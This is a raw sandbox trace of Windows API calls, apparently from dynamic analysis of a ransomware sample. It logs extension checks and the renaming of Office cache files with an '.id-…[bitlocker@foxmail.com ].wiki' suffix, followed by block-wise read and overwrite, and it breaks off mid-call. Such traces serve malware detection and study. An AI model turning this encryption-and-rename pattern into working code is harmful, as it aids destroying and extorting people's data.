[0043.326] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString=".doc") returned 4 [0043.327] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.327] lstrlenW (lpString=".docx") returned 5 [0043.327] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.327] lstrlenW (lpString=".pdf") returned 4 [0043.327] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.327] lstrlenW (lpString=".xls") returned 4 [0043.327] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.327] lstrlenW (lpString=".xlsx") returned 5 [0043.327] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.327] lstrlenW (lpString=".ppt") returned 4 [0043.327] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.327] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.327] lstrlenW (lpString=".zip") returned 4 [0043.327] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.327] lstrlenW (lpString=".rar") returned 4 [0043.327] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.327] lstrlenW (lpString=".bz2") returned 4 [0043.327] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.327] lstrlenW (lpString=".7z") returned 3 [0043.327] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.327] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.327] lstrlenW (lpString=".dbf") returned 4 [0043.327] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.327] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.327] lstrlenW (lpString=".1cd") returned 4 [0043.327] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.327] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.327] lstrlenW (lpString=".jpg") returned 4 [0043.327] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.327] lstrlenW (lpString="bootmgr") returned 7 [0043.327] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.398] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=383786) returned 1 [0043.398] CloseHandle (hObject=0x170) returned 1 [0043.398] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0043.398] GetFileAttributesW (lpFileName="C:\\bootmgr.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\bootmgr.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.398] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0043.398] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.398] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.398] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.398] lstrlenW (lpString=".doc") returned 4 [0043.399] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString=".docx") returned 5 [0043.399] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0043.399] lstrlenW (lpString=".pdf") returned 4 [0043.399] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString=".xls") returned 4 [0043.399] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString=".xlsx") returned 5 [0043.399] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0043.399] lstrlenW (lpString=".ppt") returned 4 [0043.399] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.399] lstrlenW (lpString=".zip") returned 4 [0043.399] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString=".rar") returned 4 [0043.399] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString=".bz2") returned 4 [0043.399] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString=".7z") returned 3 [0043.399] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0043.399] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.399] lstrlenW (lpString=".dbf") returned 4 [0043.399] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.399] lstrlenW (lpString=".1cd") returned 4 [0043.399] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.399] lstrlenW (lpString=".jpg") returned 4 [0043.399] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.399] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.399] lstrlenW (lpString=".doc") returned 4 [0043.399] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0043.399] lstrlenW (lpString=".docx") returned 5 [0043.400] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0043.400] lstrlenW (lpString=".pdf") returned 4 [0043.400] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0043.400] lstrlenW (lpString=".xls") returned 4 [0043.400] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0043.400] lstrlenW (lpString=".xlsx") returned 5 [0043.400] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0043.400] lstrlenW (lpString=".ppt") returned 4 [0043.400] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0043.400] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.400] lstrlenW (lpString=".zip") returned 4 [0043.400] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0043.400] lstrlenW (lpString=".rar") returned 4 [0043.400] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0043.400] lstrlenW (lpString=".bz2") returned 4 [0043.400] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0043.401] lstrlenW (lpString=".7z") returned 3 [0043.401] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0043.401] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.401] lstrlenW (lpString=".dbf") returned 4 [0043.401] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0043.401] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.401] lstrlenW (lpString=".1cd") returned 4 [0043.401] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0043.401] lstrlenW (lpString="C:\\bootmgr") returned 10 [0043.401] lstrlenW (lpString=".jpg") returned 4 [0043.401] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0043.401] lstrcmpiW (lpString1=".sys", lpString2=".wiki") returned -1 [0043.401] lstrlenW (lpString="hiberfil.sys") returned 12 [0043.401] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.401] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.401] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.401] lstrlenW (lpString=".doc") returned 4 [0043.401] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0043.401] lstrlenW (lpString=".docx") returned 5 [0043.401] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0043.401] lstrlenW (lpString=".pdf") returned 4 [0043.401] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0043.401] lstrlenW (lpString=".xls") returned 4 [0043.401] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0043.401] lstrlenW (lpString=".xlsx") returned 5 [0043.401] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0043.401] lstrlenW (lpString=".ppt") returned 4 [0043.401] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0043.401] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.402] lstrlenW (lpString=".zip") returned 4 [0043.402] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0043.402] lstrlenW (lpString=".rar") returned 4 [0043.402] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString=".bz2") returned 4 [0043.402] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString=".7z") returned 3 [0043.402] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0043.402] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.402] lstrlenW (lpString=".dbf") returned 4 [0043.402] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.402] lstrlenW (lpString=".1cd") returned 4 [0043.402] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.402] lstrlenW (lpString=".jpg") returned 4 [0043.402] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.402] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.402] lstrlenW (lpString=".doc") returned 4 [0043.402] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString=".docx") returned 5 [0043.402] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0043.402] lstrlenW (lpString=".pdf") returned 4 [0043.402] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString=".xls") returned 4 [0043.402] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0043.402] lstrlenW (lpString=".xlsx") returned 5 [0043.402] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0043.402] lstrlenW (lpString=".ppt") returned 4 [0043.402] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0043.402] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.402] lstrlenW (lpString=".zip") returned 4 [0043.402] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0043.403] lstrlenW (lpString=".rar") returned 4 [0043.403] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0043.403] lstrlenW (lpString=".bz2") returned 4 [0043.403] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0043.403] lstrlenW (lpString=".7z") returned 3 [0043.403] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0043.403] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.403] lstrlenW (lpString=".dbf") returned 4 [0043.403] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0043.403] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.403] lstrlenW (lpString=".1cd") returned 4 [0043.403] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0043.403] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0043.403] lstrlenW (lpString=".jpg") returned 4 [0043.403] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0043.403] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0043.403] lstrlenW (lpString="ExcelLR.cab") returned 11 [0043.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.094] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16972987) returned 1 [0045.149] CloseHandle (hObject=0x1a4) returned 1 [0045.149] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0045.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.150] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0045.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.150] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0045.150] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.150] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.157] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.158] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.165] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.165] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.165] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.183] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.183] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0045.490] SetEndOfFile (hFile=0x1a4) returned 1 [0045.490] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40854f8 [0045.494] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.494] WriteFile (in: hFile=0x1a4, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.495] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.495] WriteFile (in: hFile=0x1a4, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.496] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.496] WriteFile (in: hFile=0x1a4, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.497] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40854f8 | out: hHeap=0x6c0000) returned 1 [0045.498] CloseHandle (hObject=0x1a4) returned 1 [0048.539] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0048.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.539] lstrlenW (lpString=".doc") returned 4 [0048.539] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.539] lstrlenW (lpString=".docx") returned 5 [0048.539] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.539] lstrlenW (lpString=".pdf") returned 4 [0048.539] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.539] lstrlenW (lpString=".xls") returned 4 [0048.539] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.539] lstrlenW (lpString=".xlsx") returned 5 [0048.539] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.539] lstrlenW (lpString=".ppt") returned 4 [0048.540] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.540] lstrlenW (lpString=".zip") returned 4 [0048.540] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString=".rar") returned 4 [0048.540] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString=".bz2") returned 4 [0048.540] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.540] lstrlenW (lpString=".7z") returned 3 [0048.540] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.540] lstrlenW (lpString=".dbf") returned 4 [0048.540] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.540] lstrlenW (lpString=".1cd") returned 4 [0048.540] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.540] lstrlenW (lpString=".jpg") returned 4 [0048.540] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.540] lstrlenW (lpString=".doc") returned 4 [0048.540] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString=".docx") returned 5 [0048.540] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.540] lstrlenW (lpString=".pdf") returned 4 [0048.540] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString=".xls") returned 4 [0048.540] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString=".xlsx") returned 5 [0048.540] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.540] lstrlenW (lpString=".ppt") returned 4 [0048.540] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.540] lstrlenW (lpString=".zip") returned 4 [0048.540] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.541] lstrlenW (lpString=".rar") returned 4 [0048.541] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.541] lstrlenW (lpString=".bz2") returned 4 [0048.541] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.541] lstrlenW (lpString=".7z") returned 3 [0048.541] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.541] lstrlenW (lpString=".dbf") returned 4 [0048.541] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.541] lstrlenW (lpString=".1cd") returned 4 [0048.541] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0048.541] lstrlenW (lpString=".jpg") returned 4 [0048.541] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.541] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0048.541] lstrlenW (lpString="WordMUI.msi") returned 11 [0048.541] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0048.541] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2522624) returned 1 [0048.541] CloseHandle (hObject=0x1a4) returned 1 [0048.541] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0048.541] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.542] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0048.542] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0048.542] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0048.542] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.542] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.549] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.549] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.558] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.558] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.558] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.573] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.573] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0048.902] SetEndOfFile (hFile=0x1a4) returned 1 [0048.902] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) 